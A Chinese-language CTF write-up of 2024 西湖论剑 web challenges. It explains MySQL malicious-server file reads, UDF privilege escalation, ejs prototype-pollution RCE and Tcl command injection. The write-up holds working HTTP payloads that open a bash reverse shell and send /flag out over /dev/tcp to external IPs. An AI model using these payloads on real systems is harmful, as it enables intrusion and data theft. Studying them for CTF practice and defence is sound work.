2024西湖论剑
2024西湖论剑
前言
有一道misc取证服了,最后一个小时以为我能搞出来,结果各个地方到处卡壳,甚至到了最后一步也卡住,幸好队友最后也解了出来。。。
寄,还得是unknown和23级大佬们带飞,可惜排名不高
这次看看web部分和数据安全部分的phpems
only_sql
唉,对php连接数据库不熟悉,我只知道jdbc连接存在任意文件读取,没想到php也可以
还得是unknown,我是菜狗
连接上后可以执行任意命令
我们可以vps搭建好后,连接我们vps的数据库
然后使用LOAD DATA INFILE
语法读取本地文件
不过还是使用工具搭建恶意服务端读取任意文件方便
没什么能读的,那就读取query.php
文件内容咯
<?php
error_reporting(0);
// mine
// $db_host = '127.0.0.1';
// $db_username = 'root';
// $db_password = '1q2w3e4r5t!@#';
// $db_name = 'mysql';
$db_host = $_POST["db_host"];
$db_username = $_POST["db_username"];
$db_password = $_POST["db_password"];
$db_name = $_POST["db_name"];
if(isset($db_host)){
try {
$dsn = "mysql:host=$db_host;dbname=$db_name";
$pdo = new PDO($dsn, $db_username, $db_password);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$_SESSION['dsn']=$dsn;
$_SESSION['db_username']=$db_username;
$_SESSION['db_password']=$db_password;
} catch (Exception $e) {
die($e->getMessage());
}
}
if(!isset($_SESSION['dsn'])){
die("<script>alert('请先连接数据库');window.location.href='index.php'</script>");
}
?>
发现题目本地数据库的账号和密码
连接,然后正常查询表,发现secret数据库下有个flag表
flag
DASCTF{3386201718692
Try to become ROOT
那提权第一想法就是udf提权
show variables like '%priv%'
Variable_name Value
automatic_sp_privileges ON
secure_file_priv
sha256_password_private_key_path private_key.pem
show variables like '%plugin%'
Variable_name
Valuedefault_authentication_plugin
mysql_native_password
plugin_dir /usr/lib/mysql/p1ugin/
SELECT <udf.so的十六进制> INTO DUMPFILE '/usr/lib/mysql/p1ugin/udf.so';
Easyjs
这题前半段顺了,但是unknown中间卡在了原型链污染上
我其实是想到了destructuredLocals的,但是当时unknown认为靠文件上传和改名覆盖掉模板文件就行,所以我去做misc去了
robots.txt
User-agent: *
Disallow: /
Disallow: /index
Disallow: /upload
Disallow: /rename
Disallow: /file
Disallow: /list
上传任意一个文件,然后改名为../../../../../../../../../etc/passwd(会显示改名失败,因为匹配到了..
,但实际上改名成功了
然后根据uuid去读,就能读到passwd。同理,读cmdline,得知源码在/app/index.js
思路真好,或者是本就是这个思路但是我太蠢了
var express = require('express');
const fs = require('fs');
var _= require('lodash');
var bodyParser = require("body-parser");
const cookieParser = require('cookie-parser');
var ejs = require('ejs');
var path = require('path');
const putil_merge = require("putil-merge")
const fileUpload = require('express-fileupload');
const { v4: uuidv4 } = require('uuid');
const {value} = require("lodash/seq");
var app = express();
// 将文件信息存储到全局字典中
global.fileDictionary = global.fileDictionary || {};
app.use(fileUpload());
// 使用 body-parser 处理 POST 请求的数据
app.use(bodyParser.urlencoded({ extended: true }));
app.use(bodyParser.json());
// 设置模板的位置
app.set('views', path.join(__dirname, 'views'));
// 设置模板引擎
app.set('view engine', 'ejs');
// 静态文件(CSS)目录
app.use(express.static(path.join(__dirname, 'public')))
app.get('/', (req, res) => {
res.render('index');
});
app.get('/index', (req, res) => {
res.render('index');
});
app.get('/upload', (req, res) => {
//显示上传页面
res.render('upload');
});
app.post('/upload', (req, res) => {
const file = req.files.file;
const uniqueFileName = uuidv4();
const destinationPath = path.join(__dirname, 'uploads', file.name);
// 将文件写入 uploads 目录
fs.writeFileSync(destinationPath, file.data);
global.fileDictionary[uniqueFileName] = file.name;
res.send(uniqueFileName);
});
app.get('/list', (req, res) => {
// const keys = Object.keys(global.fileDictionary);
res.send(global.fileDictionary);
});
app.get('/file', (req, res) => {
if(req.query.uniqueFileName){
uniqueFileName = req.query.uniqueFileName
filName = global.fileDictionary[uniqueFileName]
if(filName){
try{
res.send(fs.readFileSync(__dirname+"/uploads/"+filName).toString())
}catch (error){
res.send("文件不存在!");
}
}else{
res.send("文件不存在!");
}
}else{
res.render('file')
}
});
app.get('/rename',(req,res)=>{
res.render("rename")
});
app.post('/rename', (req, res) => {
if (req.body.oldFileName && req.body.newFileName && req.body.uuid){
oldFileName = req.body.oldFileName
newFileName = req.body.newFileName
uuid = req.body.uuid
if (waf(oldFileName) && waf(newFileName) && waf(uuid)){
uniqueFileName = findKeyByValue(global.fileDictionary,oldFileName)
console.log(typeof uuid);
if (uniqueFileName == uuid){
putil_merge(global.fileDictionary,{[uuid]:newFileName},{deep:true})
if(newFileName.includes('..')){
res.send('文件重命名失败!!!');
}else{
fs.rename(__dirname+"/uploads/"+oldFileName, __dirname+"/uploads/"+newFileName, (err) => {
if (err) {
res.send('文件重命名失败!');
} else {
res.send('文件重命名成功!');
}
});
}
}else{
res.send('文件重命名失败!');
}
}else{
res.send('哒咩哒咩!');
}
}else{
res.send('文件重命名失败!');
}
});
function findKeyByValue(obj, targetValue) {
for (const key in obj) {
if (obj.hasOwnProperty(key) && obj[key] === targetValue) {
return key;
}
}
return null; // 如果未找到匹配的键名,返回null或其他标识
}
function waf(data) {
data = JSON.stringify(data)
if (data.includes('outputFunctionName') || data.includes('escape') || data.includes('delimiter') || data.includes('localsName')) {
return false;
}else{
return true;
}
}
//设置http
var server = app.listen(8888,function () {
var port = server.address().port
console.log("http://127.0.0.1:%s", port)
});
/app/package.json
{
"dependencies": {
"cookie-parser": "^1.4.6",
"ejs": "^3.1.5",
"express": "^4.18.2",
"express-fileupload": "^1.4.3",
"jsonwebtoken": "^9.0.2",
"lodash": "^4.17.4",
"multer": "^1.4.5-lts.1",
"putil-merge": "^3.6.0",
"rpc": "^3.3.3",
"sqlite3": "^5.1.7-rc.0",
"uuid": "^9.0.1"
}
}
很容易找出putil_merge有原型链污染 https://security.snyk.io/vuln/SNYK-JS-PUTILMERGE-2391487
以及ejs结合原型链污染的rce漏洞
利用 /rename
路由的putil_merge(global.fileDictionary,{[uuid]:newFileName},{deep:true})
进行原型链污染配合ejs的rce
但waf函数中禁用了关键字
function waf(data) {
data = JSON.stringify(data)
if (data.includes('outputFunctionName') || data.includes('escape') || data.includes('delimiter') || data.includes('localsName')) {
return false;
}else{
return true;
}
}
outputFunctionName
、escapeFunction
、localsName
均无法使用
但还剩下个destructuredLocals
我想到了,但是并不会利用,于是也没有尝试
赛后看WP看到这篇文章
https://github.com/mde/ejs/issues/730
POST /rename HTTP/1.1
Host: 127.0.0.1:8888
Content-Length: 255
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
Content-Type: application/json
Accept: */*
Origin: http://1.14.108.193:31999
Referer: http://1.14.108.193:31999/rename
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1706580051; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1706580051; JSESSIONID=4BA66C9FC58B7115625D0C036F9FACC1; PHPSESSID=jeopbml5j07ck0pd7nlfq23nok
Connection: close
{"oldFileName":"1.js","newFileName":{"__proto__":{"destructuredLocals":["__line=__line;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/8.130.24.188/7775 <&1\"');//"]}
},"uuid":"7e7f57fd-b62e-4285-bc72-f63a19304960"}
最后只需要cp提权即可
unknown的思路
上传文件加改名,覆盖index.ejs文件
他们想到了用数组绕过检查..
但其实我不太理解下面这里
?一个失败,一个成功?
反正最后这种方法测试后发现不行,估计是views没有写权限。
ezinject
队里就有人扫了一下发现.git
泄露,然后就没后续了,导致现在连jar包都没有
拿到cookie即可访问exec执行命令
同理,用/exec;.js
这样的形式去访问
#!/usr/bin/tclsh
set password [lindex $argv 0]
set host [lindex $argv 1]
set port [lindex $argv 2]
set dir [lindex $argv 3]
puts $argv
eval spawn ssh -p $port $host test -d $dir && echo exists
expect "*(yes/no*)?*$" { send "yes\n" }
set timeout 600
expect "*assword:*$" { send "$password\n" } \
timeout { exit 1 }
set timeout -1
expect "\\$ $"
我们需要控制host以及dir来执行命令外带flag,并且命令不能包含空格,否则会被Runtime.exec分割成参数,这里使用echo配和bash来外带flag
POST /exec;.css HTTP/1.1
Host: 1.14.108.193:30024
Cookie: JSESSIONID=345313310B2A5657F15FE494DE09BDB1;
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
command=echo [system '`cat</flag>/dev/tcp/8.134.146.39/6666`'|bash]
拼接到命令行中就变成了:
eval spawn ssh -p [system echo test -d '`cat</flag>/dev/tcp/8.134.146.39/6666`'|bash]
之前写的没保存,现在随便写点吧,自己的图没了
这里
[system echo test -d '`cat</flag>/dev/tcp/8.134.146.39/6666`'|bash]
用[]
在tcl中可以提前处理
Boogipop大佬做法
用\t
代替空格。。。看不懂
ezerp
华夏erp 最新版3.3
大佬们都发现了安装插件处存在问题,并且依赖中能找到插件源码
联系之前的wordpress,本身很少洞,靠的是第三方主题和插件,以后遇到最新版也往这方面想
已有漏洞
文件上传 https://github.com/jishenghua/jshERP/issues/99
前台权限绕过 https://github.com/jishenghua/jshERP/issues/98
登录然后上传插件
这里插件jar包要根据源码构造
具体调试和构造可以看微信公众平台 (qq.com)
真的太强了
这里可以直接用Boogipop大佬找到的项目
springboot插件式开发框架: 该框架主要是集成于springboot项目,在springboot项目中集成可扩展式的插件开发。 - Gitee.com
改一下内容就行
这里构造完jar包后,题目给了提示说没有plugins目录
可以用上面的文件上传漏洞,会递归创建目录
https://github.com/jishenghua/jshERP/issues/99
在application.properties中可以看到定义的插件目录
总结一句话就是不会。。。
数据安全 phpems
给个链接,先看着,后来再自己跟着走下